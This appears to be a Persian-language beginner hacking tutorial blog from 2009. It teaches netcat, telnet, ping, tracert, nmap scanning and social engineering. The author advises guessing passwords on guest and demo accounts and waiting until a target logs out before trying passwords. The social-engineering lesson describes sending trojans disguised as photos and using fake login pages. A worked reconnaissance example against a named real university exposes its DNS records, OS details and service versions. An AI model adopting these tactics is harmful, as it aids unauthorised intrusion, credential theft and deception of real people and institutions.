+ کاربرد بعدی finger در رابطه با يک سري اکانت‌هاي خاص است. من هميشه وقتي به يک اکانت به اسم guest برخورد مي‌کنم، هميشه پسوردهای guest يا libguest يا myguest و ... رو تست مي‌کنم که گاهي جواب ميده. همين‌طور در مورد اکانتي به اسم demo پسورد demo را تست مي‌کنم و ... معمولا موسسات بزرگ پر است از اين username هاي عمومي که حدس زدن پسورد مربوطه کار مشکلي نيست.
+ گفتم که بعضي سرورهاي finger نام و نام‌خانوادگي افراد را هم برايمان مي‌فرستند. چون بعضي از افراد متاسفانه يا خوشبختانه از اين اطلاعات براي پسوردشون استفاده مي‌کنند، مي‌تونه مفيد باشه.
+ يک کاربرد ديگه و البته بسيار مهم موقعي است که مثلا مي‌خواهيد يک سري پسورد رو روي يک اکانت خاص تست کنيد. من هميشه اول يک finger مي‌کنم که مطمئن بشم که فرد در حال حاضر login نکرده باشد و بعد اين کار رو شروع مي‌کنم ( يعني انقدر صبر مي‌کنم که ديگه آن اسم خاص در finger نمايش داده نشه يعني طرف مقابل logout کرده باشد!)
+ بازم يه کاربرد‌هاي مهم ديگه هست که الان بهتون نمي‌گم تا تو خماريش بمونين ! شوخي کردم، وقتي بحث پورت‌ها تموم شد و رسيديم به کاربرد‌هاي غير معمول اين پورت‌ها، براتون حتما مي‌گم.

+ نوشته شده در  جمعه سوم مهر 1388ساعت 3:33 قبل از ظهر  به دست ابی | 

شروع کار با پورت‌ها



- شروع کار با پورت‌ها

الان به جايی رسيده‌ايم که می‌توانيم بحث پورت‌ها را شروع کنيم. اولين نکته‌ای که بايد بگم اين است که ابزاری که به کمک آن با پورت‌ها صحبت می‌کنيم در همه پورت‌ها يکی است ولی هر پورتی زبان مخصوص خود دارد (درست مثل زبان‌های مختلف در جهان که همشون از طريق زبان و دهان ادا می‌شن ولی هر کدام روش خاصی برای ارتباط برقرار کردن دارند). پس ما برای کار با پورت‌ها بايد زبان هرکدام را ياد بگيريم.
بحث بعدی اين است که وقتی می‌گيم يه پورت بازه بايد توجه کنيد که برنامه‌ای روی آن کامپيوتر نصب شده و اون پورت را باز کرده است (پورت‌ها خود به خود باز نمی‌شوند). يک سری پورت‌ها توسط خود سيستم‌عامل باز می‌شوند (يعنی به محض نصب سيستم‌عامل که خودش هم درواقع يه نرم‌افزاره) و نيازی نيست که برنامه ديگری برايش نصب کنيم. در مقابل، بعضی پورت‌های ديگر توسط برنامه‌های جانبی باز می‌شوند.
به عنوان مثال وقتی می‌گم که پورت ۲۵ روی يک ip باز است، اين معنی را دارد که برنامه‌ای روی اون کامپيوتر خاص وجود دارد که پورت ۲۵ را باز کرده و من وقتی از طريق کامپيوتر خودم با آن پورت کار می‌کنم در واقع دارم با آن برنامه خاص (که اون پورت را باز کرده) صحبت می‌کنم.
حالا يه سوال پيش می‌آد که چرا اصلا يه نرم‌افزار بايد پورت باز کنه و اينکه کدام نرم‌افزارها بايد پورت باز کنند؟
جواب اين است که هر برنامه‌ای که بخواهد از طريق شبکه (يعنی از راه دور اصطلاحا remote) قابل دسترس باشه بايد يه پورت باز کنه. پس يک برنامه‌ای که نيازی به برقراری ارتباط شبکه‌ای ندارد (مثلا يه نرم‌افزار گرافيکی) نبايد و نشايد که پورت باز کند.

بايد ببينيم که از طريق چه برنامه‌ای می‌توان با پورت‌ها صحبت کرد ( البته با هرکدام به روش خودشان )؟
برای اين‌کار از دو نرم‌افزار به نام‌های telnet و nc استفاده می‌کنيم. telnet که در خود سيستم‌عامل وجود دارد و nc را هم که جلسه قبل داون‌لود کرديم.
حالا چگونه از اين دو نرم‌افزارها می‌توان استفاده کنيم؟
۱- استفاده از telnet :
اگر بخواهيم با ip ای به شماره 194.225.184.13 از طريق پورت 25 صحبت کنيم بايد بنويسيم:

telnet 194.225.184.13 25

و بعد اينکه ارتباط برقرار شد بايد شروع کنيم و از طريق زبان پورت ۲۵ با آن صحبت کنيم.
۲- استفاده از nc :
اگر بخواهيم همان کار را با netcat انجام دهيم، بايد بنويسيم:

nc -v 194.225.184.13 25

و بعد از برقراری ارتباط شروع به صحبت کنيم.


- با پورت ۱۳ صحبت کنيم

نام ديگر اون daytime است و کارش هم اينه که زمان و تاريخ رو در اون کامپيوتر به ما می‌ده. اين پورت اصولا خيلی سر راسته. فقط کافيه که بهش وصل شيم تا اطلاعاتشون بيرون بريزه. البته اين پورت رو خيلی از کامپيوترها بسته است. (يادتون باشه که وقتی می‌توان با يه پورت کار کرد که باز باشد).
حالا می‌خوايم با پورت ۱۳ از ip شماره 194.225.184.13 صحبت کنم. يکی از اين دو دستور را می‌نويسم:

telnet 194.225.184.13 13
nc -v 194.225.184.13 13

البته در آن دستورات به جای عدد ۱۳ می‌توان معادلش را نوشت که daytime است.
و جواب می‌شنوم:

11:35:33 AM 10/5/2002

بله، با اين پورت ارتباط برقرار کرديم و اطلاعاتش رو دريافت کرديم. اين اطلاعات معمولا به درد اين می‌خورد که مکان جغرافيايی اون کامپيوتر را حدس بزنيم (البته اگر زمان اون کامپيوتر صحيح باشد). به عنوان مثال اين کامپيوتر خاص در ايران است چون ساعتش همزمان با ايران است.


- با پورت ۷ صحبت کنيم

اسم اين پورت echo است. من اين پورت رو پورت ميمون می‌گم چون هرچی که شما براش بنويسيد را تقليد می‌کنه و همان‌ها را براتون پس می‌فرستد. مثلا من به پورت ۷ کامپيوتری با ip شماره 194.225.184.13 تلنت يا nc می‌کنم.

telnet 194.225.184.13 7
nc -v 194.225.184.13 7

بعد از برقراری ارتباط، هر چی من بنويسم، اون برام پس می‌فرسته. مثلا اگه تايپ کنم Ali1000 و Enter بزنيم، جواب می‌شنوم، Ali1000 ... خودتون امتحان کنيد تا ببينيد. برای تمام شدن کار بايد دکمه Ctrl+C را فشار دهيم تا اين ميمون بازی تموم بشه.
پس کار کردن با اين پورت هم زياد سخت نيست.

+ نوشته شده در  جمعه سوم مهر 1388ساعت 3:32 قبل از ظهر  به دست ابی | 

شروع کار با نرم‌افزار netcat



- شروع کار با نرم‌افزار netcat

اگر يادتون باشه در درس 9 مهم‌ترين ابزاری که يک هکر برای footprinting استفاده می‌کنه را nmap معرفی کردم. حالا می‌خوام مهمترين نرم‌افزاری که يک هکر در کل زندگی‌اش !! استفاده می‌کنه رو معرفی کنم. اين نرم‌افزار netcat نام دارد که به‌طور خلاصه nc ناميده ميشه ( اين nc با اون nc که تو DOS بود فرق می‌کنه). nc بقدری نرم‌افزار مهمی است که حتی يک سری لقب هم دارد. اگر جايی "Pocket Knife of network utilities" يا "TCP/IP Swiss Army Knife" شنيديد، بدونين که منظورشان همين nc است( اين نرم‌افزار را به چاقوی جيبی تشبيه می‌کنند ). من فعلا نمی‌خوام يه معرفی کامل از اون بکنم فقط می‌گم که علاوه بر قابليت‌های عمومی مثل Scanning ها، چيزی که اون رو خيلی معروف کرده يکی عملکرد مشابه ولی بهتر از telnet و ديگری کاربرد اون به‌عنوان هم کلاينت و هم سرور (يه چيزی تو مايه‌های تروجان) است.
اين نرم‌افزار اولين بار برای سيستم‌عامل‌های يونيکس نوشته شد ولی نسخه مخصوص ويندوز هم داره که برای داون‌لود اون
اينجا را کليک کنيد. اين نسخه فقط در ويندوز‌های NT (مثل Windows2000، Windows XP) کار می‌کنه.
برای به دست آوردن ليست پارامتر های اون می‌نويسيم:

nc -help

و جواب می‌شنويم:

[v1.10 NT]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d detach from console, stealth mode

-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]

تا همينجا بماند تا بعدا تک تک پارامتر‌ها رو توضيح می‌دم.


- استفاده از nc برای port scanning

برای پورت اسکنينگ قبلا از NMapWin و nmap استفاده کرديم. اما اين کار را با nc هم می‌توان انجام داد ( اگرچه من بازهم برای پورت اسکنينگ همان nmap رو توصيه می‌کنم.) برای port scanning با nc بايد بنويسيد:

nc -v -z host  pornum

به‌جای host بايد ip ) ip ها) يا نام آن (مثلا اسم سايت) را بنويسيم. و به‌جای portnum ، شماره پورت (يا پورت‌ها) را می‌نويسيم. v- يعنی verbose يعنی نتايج با جزئيات نمايش داده شود. z- وقتی استفاده می‌شود که از nc برای scanning استفاده می‌کنيم.
فرض کنيد می‌خواهيم ip ی به شماره 217.66.195.181 را برای پورت‌های ۱ تا ۲۰۰ چک کنم، می‌نويسم:

nc -v -z 217.66.195.181 1-200

و جواب می‌شنوم:

artawill-1dedm4 [217.66.195.181] 143 (imap) open
artawill-1dedm4 [217.66.195.181] 139 (netbios-ssn) open
artawill-1dedm4 [217.66.195.181] 135 (epmap) open
artawill-1dedm4 [217.66.195.181] 119 (nntp) open
artawill-1dedm4 [217.66.195.181] 80 (http) open
artawill-1dedm4 [217.66.195.181] 53 (domain) open
artawill-1dedm4 [217.66.195.181] 25 (smtp) open
artawill-1dedm4 [217.66.195.181] 21 (ftp) open
artawill-1dedm4 [217.66.195.181] 19 (chargen) open
artawill-1dedm4 [217.66.195.181] 17 (qotd) open
artawill-1dedm4 [217.66.195.181] 13 (daytime) open
artawill-1dedm4 [217.66.195.181] 9 (discard) open
artawill-1dedm4 [217.66.195.181] 7 (echo) open

می‌بينيد که پورت‌ها از آخر به اول ليست شده‌اند. و نيز اينکه اين نرم‌افزار هم می‌تواند سرويس‌های احتمالی مربوط به هر پورت باز را هم ليست ‌کند.
اگر می‌خواستم يک سری پورت را که به صورت پشت‌سرهم نيستند، بررسی کنم، بايد پورت ها را يکی پس از ديگری با فاصله از هم جدا کنيد. مثلا برای بررسی پورت‌های ۲۵، ۸۰ و ۱۱۰ را چک کنم، می‌نويسم:

nc -v -z 217.66.195.181 25 80 110

در درس‌های بعدی با کاربردهای بيشتری از nc آشنا خواهيم شد.

+ نوشته شده در  جمعه سوم مهر 1388ساعت 3:31 قبل از ظهر  به دست ابی | 

Social Engineering چيست؟


 - Social Engineering چيست؟
 
 Social Engineering يا مهندسی اجتماعی، تکنيکی است که بر گول زدن مردم استوار است. در اين تکنيک شما با انسان‌ها سر و کار داريد و نه با کامپيوترها. حال اگه يک user رو مثلا گول بزنيد، می‌توانيد اطلاعات او را مثل پسورد و ... را بدست بياوريد که نمونه‌ای است از Client Hacking و اگه Administer يک سايت را گول بزنيد و سايت را هک کنيد، نمونه‌ای است از Server Hacking. پس با مهندسی اجتماعی هم می‌شود کلاينت هک کرد و هم سرور. البته چون کلاينت‌ها معمولا user های کم‌سوادتری (از نظر دانش هک) دارند، هک کردن آنها بسيار آسان‌تر است.
 اين نکته را هم بايد بگم که روش Social Engineering معمولا در مراحل اوليه هک استفاده می‌شود و بعد از آن بايد مسير را عوض کنيد و از اطلاعات فنی‌تان برای ادامه کار بهره ببريد.
 
 
 - مثال‌هايی از مهندسی اجتماعی
 
 در اينجا می‌خواهم تعدادی از تکنيک‌های Social Endineering را براتون بگم. البته توجه کنيد که اگرچه اين روش‌ها اطلاعات فنی زيادی نمی‌خواد ولی معمولا نتايج خوبی داره. و نيز بگم که اين روش‌ها خيلی گسترده است و هر بار به شکلی بروز می‌کند. اما نکته مشترکی که من در همه‌شان ديدم اينه که هميشه از شما می‌خواهند که پسوردتان را يک جايی وارد کنيد و اين دقيقا محلی است که فرق شما رو با يک user معمولی نشون ميده. زيرا نبايد گول بخوريد (-;
 
 ۱- تلفن زدن :
 يکی از روش‌های مهندسی اجتماعی است. هکر اطلاعاتي از افراد يک شرکت جمع‌آوری می‌کند و بعد با شرکت تماس گرفته و مثلا از فلان فرد می‌خواهد که پسورد را عوض کند. پيشرفته‌ترين متد‌های اين نوع هک توسط مشهورترين (و يکی از بهترين) هکرهای تاريخ،
 Kevin Mitnick  اجرا شده است.
 
 ۲- مخ زدن برای ارسال فايل:
 مثلا با يک نفر چت می‌کنيد و می‌گيد که بيا عکس منو ببين! و به جای ارسال يک فايل تصويری، يک فايل اجرايی مثلا تروجان براش می‌فرستيد. تا اين مرحله کار شما به عنوان مهندسی اجتماعی است ولی مابقی (مثلا استفاده از تروجان فرستاده شده) ديگه Social engineering نيست.
 
 ۳- برای ما E-mail بزنيد و ما پسورد E-mail کسی که شما می‌خواهيد را براتون پيدا می‌کنيم:
 ممکنه در اينترنت به اين نوع پيغام‌ها برخورد کرده‌ايد که مثلا می‌گويد:
 " به ما ايميل بزنيد، در سطر اول E-mail کسی که می‌خواهيد ما براتون هک کنيم رو بنويسيد، در سطر دوم E-mail خودتون رو، سطر آخر هم پسورد E-mail خودتون رو. ما پسورد E-mail ی که در سطر اول مشخص کرديد براتون می‌فرستيم. "
 ممکنه عجيب به نظر برسه ولی خيلی‌ها به همين راحتی هک می‌شوند. اين ديگه از اون بهتريناش، چون يک تيره و سه نشون. ۲ تا آدرس E-mail برای فرستادن تبليغات و نيز پسورد E-mail خودتون.
 
 ۴- فايل ضميمه (attached) به E-mail را باز کنيد:
 مثلا اينکه می‌گويد در اين E-mail عکس من attach شده است باز کنيد و ببينيد. درحالی که فايل attach شده فايل تصويری نيست، بلکه يک فايل آلوده است.
 
 ۵- ساختن يک صفحه شبيه به سايت‌های مشهور و درخواست login :
 مثلا ساختن يک صفحه شبيه به ياهو برای login درحالی‌که اين صفحه برای دزديدن id و password شماست.
 
 ۶- و …

+ نوشته شده در  جمعه سوم مهر 1388ساعت 3:30 قبل از ظهر  به دست ابی | 

ping چيست ؟



- ping چيست ؟

ping دستوری است که مشخص می‌کند که آيا يک کامپيوتر خاص که ما ip يا domain آن را می‌دانيم، روشن و فعال (Active) هست يا نه. و اينکه اگر فعال باشد مدت زمان رسيدن بسته‌های tcp/ip از آن کامپيوتر به کامپيوتر ما چقدر است.
کاربرد اين دستور به صورت زير است:

ping ip-or-domain

که به جای ip-or-domain بايد شماره ip و يا domain آن(اگر داشته باشد) را می‌گذاريم.

مثلا ping sazin.com را در command prompt تايپ کردم و به نتايج زير رسيدم :

Pinging sazin.com [63.148.227.65] with 32 bytes of data:

Reply from 63.148.227.65: bytes=32 time=1402ms TTL=105
Reply from 63.148.227.65: bytes=32 time=941ms TTL=105
Reply from 63.148.227.65: bytes=32 time=981ms TTL=105
Reply from 63.148.227.65: bytes=32 time=851ms TTL=105

Ping statistics for 63.148.227.65:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 851ms, Maximum = 1402ms, Average = 1043ms

اين نتايج نشان می‌دهد که sazin.com فعال است.

حالا به کامپيوتری با ip شماره 63.148.227.65 (که همان sazin.com است)، ping می‌کنم. نتايج همان است فقط با تغييراتی در سطر اول. (البته time که معنای مدت زمان رسيدن پکت را می‌دهد، با توجه به ترافيک شبکه، کم و زياد خواهد شد). برای ping کردن به اين ip ، دستور 63.148.227.65 ping را صادر می‌کنم :

Pinging 63.148.227.65 with 32 bytes of data:

Reply from 63.148.227.65: bytes=32 time=861ms TTL=105
Reply from 63.148.227.65: bytes=32 time=852ms TTL=105
Reply from 63.148.227.65: bytes=32 time=851ms TTL=105
Reply from 63.148.227.65: bytes=32 time=881ms TTL=105

Ping statistics for 63.148.227.65:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 851ms, Maximum = 881ms, Average = 861ms

فرض کنيد که به يک ip که فعال نيست، ping کنيم:

Pinging 217.66.196.1 with 32 bytes of data:

Request timed out.
Request timed out.
Request timed out.
Request timed out.

Ping statistics for 217.66.196.1:
Packets: Sent = 4, Received = 0, Lost = 4 (100% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms

که نشان می‌دهد که آن ip در آن لحظه فعال نيست.

البته تمام مطالبی که در بالا ذکر شد، در حالتی است که مستقيما به اينترنت وصل شده‌ايد و يا اگر از طريق شبکه محلی به اينترنت وصل هستيد، شبکه شما به درستی پيکربندی شده باشد. اصولا ping يکی از بهترين دستورات برای پيدا کردن ايراد در شبکه است.


- tracert چيست ؟

tracert ( در يونيکس می‌شود traceroute ) ابزاری است که نشان می‌دهد که يک packet اطلاعاتی از کامپيوتر شما چه مسيری را طی می‌کند و از چه کامپيوترهايی می‌گذرد تا به يک مقصد خاص برسد. مقصد را ما مشخص می‌کنيم و معمولا همان کامپيوتری است که داريم footprinting می‌کنيم.

کاربرد اين دستور به صورت زير است:

tracert ip-or-domain

مثلا می‌خواهم ببينم که از چه کامپيوترهايی بايد رد شويم تا به sazin.com برسيم. برای اينکار می‌توان از يکی از دستورهای زير استفاده کرد:

tracert sazin.com
tracert 63.148.227.65

به نتيجه زير رسيدم:

Tracing route to sazin.com [63.148.227.65]
over a maximum of 30 hops:

1 160 ms 160 ms 160 ms 217.218.84.3
2 381 ms 691 ms 1772 ms 217.218.84.5
3 * * 2324 ms 217.218.77.1
4 201 ms 1101 ms 180 ms 217.218.0.252
5 341 ms 220 ms 180 ms 217.218.0.2
6 1993 ms 180 ms 181 ms 217.218.158.41
7 180 ms 160 ms 160 ms 195.146.63.101
8 2824 ms * * 195.146.32.134
9 1472 ms 1463 ms 871 ms 195.146.33.73
10 791 ms 841 ms 811 ms if-1....eglobe.net [207.45.218.161]
11 1692 ms * 2654 ms if-4-....eglobe.net [207.45.222.77]
12 1282 ms 891 ms 1052 ms if-1-....globe.net [207.45.220.245]
13 902 ms 931 ms 881 ms if-15.....globe.net [66.110.8.134]
14 931 ms 861 ms 871 ms if-8-....leglobe.net [64.86.83.174]
15 901 ms 841 ms 852 ms if-5-.....globe.net [207.45.223.62]
16 841 ms 862 ms 851 ms pos6-.....vel3.net [209.0.227.33]
17 841 ms 842 ms 941 ms so-4-1.....vel3.net [209.247.10.205]
18 882 ms 931 ms 851 ms so-0-1....vel3.net [209.247.11.197]
19 871 ms 891 ms 951 ms gige9....vel3.net [209.247.11.210]
20 1011 ms 851 ms 902 ms unknown.Level3.net [63.208.0.94]
21 852 ms * 882 ms 64.156.25.74
22 961 ms 942 ms 841 ms 63.148.227.65

Trace complete.

اين نتايج نشان می‌دهد که بايد از ۲۲ کامپيوتر بگذرم تا به sazin.com برسم. اين اطلاعات همان‌طور که بعدا خواهيد ديد، حاوی اطلاعات زيادی برای پيدا کردن فايروال‌ها و ... است. (بعضی سطرها رو کوتاه کردم و به‌جاش .... گذاشتم)


tracert دارای تعدادی switch است که دوتاش رو توضيح می‌دم:

d-   ==>
با استفاده از اين سويچ در نتايج حاصله فقط ip ها نمايش داده می‌شود.
مثلا می‌نويسيم:   tracert sazin.com -d

h max-hops-   ==>
حداکثر تعداد گام‌ها را تعيين می‌کند. حالت پيش‌فرض ۳۰  است.
مثلا می‌نويسيم:   tracert sazin.com -h 50



از اين دستور بعدا بسيار استفاده خواهيم کرد.


- ادامه بحث telnet

telnet هم جزو مواردی است که در footprinting مورد استفاده قرار می‌گيرد. کاربرد آن در حالتيست که بخواهيم بدانيم که روی فلان پورت چه برنامه‌ای فال‌گوش‌ه و version آن چنده. به اين صورت که به يک پورت خاص (که مي‌دانيم روی آن سرور باز است) تلنت می‌کنيم و بعد می‌بينيم که نتايجی ظاهر می‌شود که نشان‌دهنده اطلاعاتی‌ است که به‌کار می‌رود. گاهی با مکثی طولانی مواجه می‌شويم و هيچ چيزی نمايش داده نمی‌شود، در اين حالت يکی دوبار , Ctrl+Z , Ctrl+D , Ctrl+C , Ctrl+break را می‌زنيم و خارج می‌شويم. در مثال پايين جمع‌بندی مواردی که تا حالا از footprinting گفته‌ام را می‌آورم.


- جمع‌بندی مطالب گفته شده و بررسی يک سايت

فرض کنيد می‌خواهيم در مورد www.iums.ac.ir اطلاعاتی کسب کنيم :

◊ اول به سايت پينگ می‌کنم و ip آن را به‌دست می‌آورم: 194.225.184.15

◊ به کمک ip که به‌دست آورديم، به کمک يک پورت اسکنر پورت‌ها را بررسی می‌کنيم و می‌بينيم که پورت‌هايی مثل ۲۱، ۲۵، ۴۲، ۵۳، ۸۰، ۱۱۰، ۱۱۹، ۱۳۹، ۱۴۳ و ... باز است.

◊ چون domain به ir ختم می‌شود، برای whois کردن از whois.nic.ir استفاده می‌کنم و Name Server آن را به دست می‌آورم که 194.225.184.20 است.

◊ به کمک اين Name Server ، يک nslookup می‌کنم و به نتايج زير می‌رسم:

 iums.ac.ir.                    SOA    sina.i........0 345600)
iums.ac.ir. NS sina.iums.ac.ir
iums.ac.ir. NS ns1.nic.ir
iums.ac.ir. MX 10 sina.iums.ac.ir
smtp.iums.ac.ir. A 195.146.34.181
sina.iums.ac.ir. HINFO Sun-SuperSPARC5/75 UNIX-Solaris-2.6
sina.iums.ac.ir. MX 10 sina.iums.ac.ir
sina.iums.ac.ir. A 194.225.184.20
sina.iums.ac.ir. A 195.146.34.181
sun.iums.ac.ir. CNAME sina.iums.ac.ir
cisco.iums.ac.ir. CNAME router.iums.ac.ir
webmail.iums.ac.ir. A 195.146.34.181
linux.iums.ac.ir. A 194.225.184.19
linux.iums.ac.ir. HINFO Intel-Xeon/800 RedHat-Linux-7.2
mta.iums.ac.ir. A 195.146.34.181
pop3.iums.ac.ir. CNAME sina.iums.ac.ir
localhost.iums.ac.ir. A 127.0.0.1
proxy.iums.ac.ir. CNAME arvand.iums.ac.ir
www.iums.ac.ir. A 195.146.34.180
atrak.iums.ac.ir. A 194.225.184.14
ns1.iums.ac.ir. CNAME sina.iums.ac.ir
arvand.iums.ac.ir. A 194.225.184.13
router.iums.ac.ir. A 194.225.184.1
router.iums.ac.ir. HINFO Cisco3640/Access-Server IOS-IP-12.0
iums.ac.ir. SOA sina.iu.......3456000 345600)

تک تک سطرهای اين نتايج کاربرد دارد که خواهيم رسيد. الان فقط در مورد HIFNO صحبت می‌کنم که برای مشخص تر بودن در بالا به صورت کمی فرورفته‌تر نوشتم. مثلا:

sina.iums.ac.ir.       HINFO  Sun-SuperSPARC5/75  UNIX-Solaris-2.6 

HIFNO برای تعيين نوع کامپيوتر و سيستم‌عامل سرور اهميت دارد. در اين سطر مشخص است که sina.iums.ac.ir از Sun-SuperSPARC5/75 UNIX-Solaris-2.6 استفاده می‌کند.


◊ چون پورت‌های باز را هم توسط پورت اسکنر به دست آورده‌ام به آنها تلنت می‌کنم با دستور:
telnet www.iums.ac.ir portnum
نتايج حاصل از بعضی را می‌بينيد:

25 :
... master.iums.ac.ir Microsoft ESMTP MAIL Service, Version: 5.0.2195.4905 ready at 220
پس پورت ۲۵ (smtp) در آن کامپيوتر از Microsoft ESMTP MAIL Service, Version: 5.0.2195.4905 استفاده می‌کند.

110 :
.OK Microsoft Exchange 2000 POP3 server version 6.0.5762.3 (master.iums.ac.ir) ready+
پس پورت ۱۱۰ (pop3) در آن کامپيوتر از Microsoft Exchange 2000 POP3 server version 6.0.5762.3 استفاده می‌کند.

119 :
NNTP Service 5.00.0984 Version: 5.0.2195.2966 Posting Allowed

و …

+ نوشته شده در  جمعه سوم مهر 1388ساعت 3:29 قبل از ظهر  به دست ابی | 

IP Scanning



- IP Scanning

IP Scanning به روش‌های مختلف می‌تواند صورت بگيرد:


۱- در ساده‌ترين نوع آن، يک پکت از نوع ICMP ECHO به يک ip خاص می‌فرستيم و اگر يک ICMP ECHO REPLAY به سمت ما برگشت، در اين صورت آن ip به‌اصطلاح up است. برای اين‌کار می‌توان از ابزارهای زير استفاده کرد:

الف) استفاده از ping موجود در سيستم‌عامل‌های ويندوز و يونيکس (لينوکس). به صورت زير:

ping xxx.xxx.xxx.xxx

مثلا برای 63.148.227.65 می‌نويسيم:

ping 63.148.227.65

اگر در ويندوز اين دستور را تايپ کنيد و به جواب زير برسيد، يعنی آن ip فعال است:

Reply from 63.148.227.65: bytes=32 time=1402ms TTL=105
Reply from 63.148.227.65: bytes=32 time=941ms TTL=105
Reply from 63.148.227.65: bytes=32 time=1402ms TTL=105
Reply from 63.148.227.65: bytes=32 time=941ms TTL=105

و اگه به پيغام زير رسيديد، يعنی فعال نيست:

Request timed out.
Request timed out.
Request timed out.
Request timed out.

همان طور که می‌بينيد با اين دستور در يک لحظه فقط می‌شود، يک ip را تست کرد و اين کار ما را کند می‌کند.

ب) در سيستم‌عامل لينوکس می‌شود از gping استفاده کرد که يک مجموعه ip را به سرعت تست کرد.

ج) در سيستم عامل ويندوز می‌شود از Pinger استفاده کرد. برای داون‌لود اين نرم‌افزار
اينجا را کليک کنيد. Pinger يک نرم‌افزار گرافيکی است و کار ping کردن به يک مجموعه ip را ساده می‌کند.

در قسمت From و To مشخص می‌کنيم که از کدام ip تا کدام ip را می‌خواهيم ping کنيم. با فشار دکمه Ping ليست ip هايی که up هستند، نمايش داده می‌شود. فرض کنيد که ip فعلی شما 195.219.176.88 باشد و بخواهيم بدانيم در کلاس C مربوط به ما چه ip های ديگری up هستند. در اين حالت بايد 195.219.176.1 تا 195.219.176.254 را ping کنيم.

د) حالا می‌خواهيم همين کار را با NMapWin انجام دهيم. برای اينکار بايد در برگه Scan، قسمت Mode را در حالت Ping Sweep قرار دهيد. برگه Discover بايد درحالت ICMP Ping باشد و در قسمت Options بايد گزينه OS Detection را از حالت انتخاب شده خارج کنيد. بعد بايد ليست ip ها را تنظيم کنيم، برای اينکار بايد در قسمت Host ، ليست ip ها را وارد می‌کنيم. مثلا اگر بخواهيم 195.219.176.1 تا 195.219.176.254 را تست کنيم بايد بنويسيم: 24/195.219.176.0 که اين 24/ يعنی کلاس C که از ۱ تا ۲۵۵ است. و بعد دکمه Scan را فشار دهيم.

Host   (195.219.176.0) seems to be a subnet broadcast address ...
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
Host (195.219.176.1) appears to be up.
Host (195.219.176.3) appears to be up.
Host (195.219.176.5) appears to be up.
Host (195.219.176.7) appears to be up.
Host (195.219.176.9) appears to be up.
Host (195.219.176.11) appears to be up.
Host (195.219.176.12) appears to be up.
Host (195.219.176.13) appears to be up.
Host (195.219.176.14) appears to be up.
Host H-GVSVY95KXINRJ (195.219.176.15) appears to be up.
Host (195.219.176.16) appears to be up.
Host (195.219.176.17) appears to be up.
Host (195.219.176.18) appears to be up.
Host (195.219.176.19) appears to be up.
Host KERYASBA (195.219.176.20) appears to be up.
Host MARYAM (195.219.176.22) appears to be up.
Host (195.219.176.23) appears to be up.
Host (195.219.176.24) appears to be up.
Host FFX-L2XA0ZM87Q3 (195.219.176.25) appears to be up.
Host (195.219.176.26) appears to be up.
Host (195.219.176.27) appears to be up.
Host (195.219.176.28) appears to be up.
,...

ملاحظه می‌فرماييد که در بعضی موارد اسم کامپيوتر مربوط به ip هم ذکر شده است.


۲- در تمام روش‌های بالا، از پکت‌های ICMP برای پينگ استفاده کرديم. در بعضی کامپيوتر‌ها ممکن است پکت‌های ICMP توسط فايروال يا روتر بلاک شوند. در اين حالت بايد از پورت اسکنينگ برای IP اسکنينگ استفاده کرد! برای اين‌کار می‌توان از ابزارهای زير استفاده کرد:

الف) در سيستم عامل يونيکس (لينوکس) می‌توان از ابزارهايی مثل hping و icmpenum و ... استفاده کرد. که فعلا بحث ما نيستند.

ب) در سيستم‌عامل ويندوز، بازهم از NMapWin استفاده می‌کنيم. ولی طوری Port Scanning می‌کنيم که نياز ما را برای IP Scanning جواب دهد. اين‌کار توسط يک سری پورت‌های عمومی صورت می‌گيرد که در اکثر کامپيوتر‌ها باز هستند مثل ۸۰ ، ۲۵ و...
برای اين‌کار در برگه Scan ، قسمت Mode را در حالت Connect تنظيم می‌کنيم و در قسمت Scan Options ، گزينه Port Range را مثلا برای عدد 80 تنظيم می‌کنيم. Discover را در حالت TCP Ping قرار می‌دهيم. و در برگه Option ، گزينه OS Detection را از حالت انتخاب شده خارج می‌کنيم. ليست ip ها را ست کرده و اسکن را شروع می‌کنيم.

+ نوشته شده در  جمعه سوم مهر 1388ساعت 3:28 قبل از ظهر  به دست ابی | 

معرفی nmap و NMapWin


- معرفی nmap و NMapWin

اگر بخواهيد مهم‌ترين ابزاری را که يک هکر برای footprinting استفاده می‌کند بدانيد، آن نرم‌افزار nmap خواهد بود که برای سيستم‌های لينوکس و يونيکس طراحی شده است. برای هکرهای تازه‌کار که سيستم‌عامل ويندوز را به کار می‌برند، نسخه گرافيکی و تحت ويندوزی طراحی شده است که NMapWin نام دارد و همان امکانات را فراهم می‌آورد. بحث اين‌ جلسه درباره اين نرم‌افزار است. برای داون‌لود اين نرم‌افزار اينجا را کليک کنيد!  اندازه برنامه 6.18 مگابايت است و اگر اتصالتان dial-up است، کمی طول خواهد کشيد. ضمنا توجه کنيد که اين برنامه مخصوص ويندوز ۲۰۰۰ و xp است.

اين نرم‌افزار مجموعه ابزارهای footprinting مثل پورت اسکن، آی‌پی اسکن، تشخيص سيستم‌عامل کامپيوتر مورد نظر (OS detection) و … را گرد هم آورده است.

- بررسی ظاهر برنامه

شکل ظاهری برنامه چهار قسمت دارد:

۱- Network Section :
بالاترين قسمت پنجره برنامه است که محلی برای ورود ip يا ip‌ ها دارد به نام Host. بعد از وارد کردن ip و تنظيم کردن پارامترها، دکمه Scan را کليک می‌کنيم تا کار اسکن شروع شود.
اگر قرار باشد بيش از يک ip وارد شود، اين کار را می‌توان به صورت‌های مختلف انجام داد. مثلا: *.*.192.130 يعنی تمام ip هايی که با 192.130 شروع می‌شوند ولی دو عدد بعدی هرچيزی می‌تواند باشد. و نوشتن به صورت 15-192.130.120.12 يعنی عدد آخری می‌تواند از ۱۲ تا ۱۵ باشد.

۲- Option Folder :
